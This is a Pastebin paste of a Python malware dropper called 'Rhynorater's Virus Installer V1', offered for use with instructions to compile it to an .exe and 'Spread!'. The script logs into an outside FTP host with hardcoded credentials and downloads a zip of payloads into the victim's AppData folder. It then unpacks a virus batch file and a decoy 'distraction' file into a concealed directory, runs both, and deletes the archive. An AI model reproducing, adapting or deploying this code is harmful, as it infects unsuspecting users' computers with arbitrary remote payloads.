Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ######################################################
- # Rhynorater's Virus Installer V1 #
- ######################################################
- # Contact Information: #
- # Bug report - footbllownz@verizon.net #
- # Features advice - Hackforums PM #
- # #
- # Instructions #
- # #
- # Fill in your info in the "Information" function. #
- # Pack your files into a zip file and upload to ftp. #
- # Use The-Hydra's Py converter to make this .exe. #
- # Spread! #
- ######################################################
- from ftplib import FTP
- import os, getpass, sys
- import zipfile
- import subprocess
- class RVI:
- def information(self):
- #Below are examples. Please enter your own information.
- host = 'ftp.drivehq.com'
- username = 'jgghacker'
- password = 'pytesting'
- filename = 'Virus Example.bat'
- filename2 = 'Distraction.bat'
- zipfilename = 'Virus zip.zip'
- user = getpass.getuser()
- self.get_data(host, username, user, password, zipfilename,filename2, filename)
- def get_data(self,host, username, user, password, zipfilename,filename2, filename):
- ftp = FTP(host,username, password)
- l_zipfile = open("C:\\Users\\%s\\appdata\\"% user +zipfilename, 'wb')
- ftp.retrbinary('RETR ' + zipfilename, l_zipfile.write)
- l_zipfile.close()
- ftp.close()
- self.extract_program(user, zipfilename,filename2, filename,)
- def extract_program(self,user,zipfilename,filename2, filename,):
- if os.path.exists('C:\\Users\\%s\\appdata\\LocalHigh'% user):
- pass
- else:
- os.mkdir("C:\\Users\\%s\\appdata\\LocalHigh"% user)
- zip_file = zipfile.ZipFile("C:\\Users\\%s\\appdata\\"% user + zipfilename, 'r')
- zip_file.extract(filename, "C:\\Users\\%s\\appdata\\LocalHigh"% user)
- zip_file.extract(filename2, "C:\\Users\\%s\\appdata\\LocalHigh"% user)
- zip_file.close()
- self.execute_program(filename,zipfilename,filename2, user)
- def execute_program(self,filename,zipfilename,filename2, user):
- subprocess.call(["C:\\Users\\%s\\appdata\\LocalHigh\\%s"%(user, filename2)])
- subprocess.call(["C:\\Users\\%s\\appdata\\LocalHigh\\%s"%(user, filename)])
- os.system('del "C:\\Users\\%s\\appdata\\%s"'%(user, zipfilename))
- app = RVI()
- app.information()
Add Comment
Please, Sign In to add comment